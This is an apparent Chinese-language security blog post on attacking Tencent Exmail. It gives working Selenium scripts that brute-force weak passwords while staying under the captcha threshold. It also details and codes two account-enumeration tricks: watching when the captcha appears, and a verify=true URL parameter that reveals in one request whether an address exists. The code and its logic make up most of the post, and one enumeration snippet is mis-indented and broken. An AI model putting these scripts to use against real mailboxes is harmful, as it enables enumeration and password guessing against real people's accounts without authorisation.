在挖厂商漏洞的时候,都会在网上收集一份厂商的企业邮箱名单,然后使用弱口令对每个邮箱进行爆破.

但是网上的邮箱很多都是爬虫爬到的,你没法去确定一个邮箱是不是有效的.

为了提高效率,避免盲目的对一批邮箱进行爆破,可以先对邮箱的有效性进行检测

然后我就找到了一个腾讯企业邮箱快速判断有效性的方法 : )

一开始

我发现一个邮箱账号当天登陆错误次数超过5次以后会出现图形验证码验证.

我写了一个自动爆破的脚本,每个邮箱每天可以尝试5个密码 (毕竟那么菜,不会写验证码识别的脚本)

browser = webdriver.Chrome()
    browser.get("https://exmail.qq.com/cgi-bin/loginpage")
    elem_id = browser.find_element_by_id("inputuin")
    elem_id.send_keys(user)
    elem_pass = browser.find_element_by_id("pp")
    elem_pass.send_keys(pwd)
    elem_pass.send_keys(Keys.RETURN)

    time.sleep(1)
    # 判断登陆成功
    try:
        element = browser.find_element_by_id("subject")
    except Exception as msg:
        browser.close()
    else:
        print("Success:user:%s pwd:%s" % (user, pwd))

验证邮箱有效性

时间久了,我觉得邮箱太多,跑起来太耗时间,我需要确定我列表里的每一个邮箱都是有效的.

我试着使用一个不存在的邮箱来登陆,发现一个不存在的邮箱,无论错误次数是多少次,验证码都不会出现. (上面说到存在的邮箱错误5次出现验证码)

这样就可以写个小脚本对每个邮箱登陆5次,在某次登陆失败以后出现验证码时就可以判断这个邮箱的有效性了.

腾讯企业邮箱的验证码是JS打印出来的,通过另一条JS和一个条件来修改DIV的Style进行隐藏和显示

def exist(self, email):
    '''验证一个邮箱是否存在'''
    i = 1  # 初始化请求次数
    while True:
        if i == 6:
            print(email + "不存在.")
            break

    browser = self.login(email, "exist_1234")
    i += 1
    # 获取验证码样式
    style = browser.find_element_by_id("VerifyArea").get_attribute("style")
    if "block" in style:
        print(email + "存在.")

        browser.close()

这里也看到了,这个脚本判断一个邮箱是不是有效的,需要登陆5次才能出来...

或许还能让速度更快一些...

在测试过程中我又发现:当url中的verify=true时,登陆时会先判断邮箱是不是存在,再判断验证码是否正确

https://exmail.qq.com/cgi-bin/loginpage?autologin=n&errtype=&verify=true&[email protected]

那么现在就能把判断邮箱有效性的请求从5次降低到1次.只需要设置verify=true,输入错误的验证码后检查返回的错误信息就好.

from selenium import webdriver
    from selenium.webdriver.common.keys import Keys

    def exist(self, email):
        browser = self.login(email, "abcdefg")
        try:
            browser.find_element_by_id("errorNamePassowrd")
        except:
            try:
                browser.find_element_by_id("errorVerifyCode")
            except:
                print("未知错误")
            else:
                print(email + "存在")
        else:
            print(email + "不存在")

        browser.close()

    def login(self, email, password):
        '''腾讯邮箱登陆'''
        browser = webdriver.Chrome()
        browser.get("https://exmail.qq.com/cgi-bin/loginpage?autologin=n&errtype=&verify=true&clientuin=" + email)
        elem_pass = browser.find_element_by_id("pp")
        elem_pass.send_keys(password)
        elem_id = browser.find_element_by_id("vc")
        elem_id.send_keys("test123")
        elem_pass.send_keys(Keys.RETURN)

        return browser

最后

用selenium是因为懒,登陆表单会生成一些认证的东西...直接在脚本里去更新这些认证参数会更麻烦吧...

膜拜各位.

源链接

Hacking more

...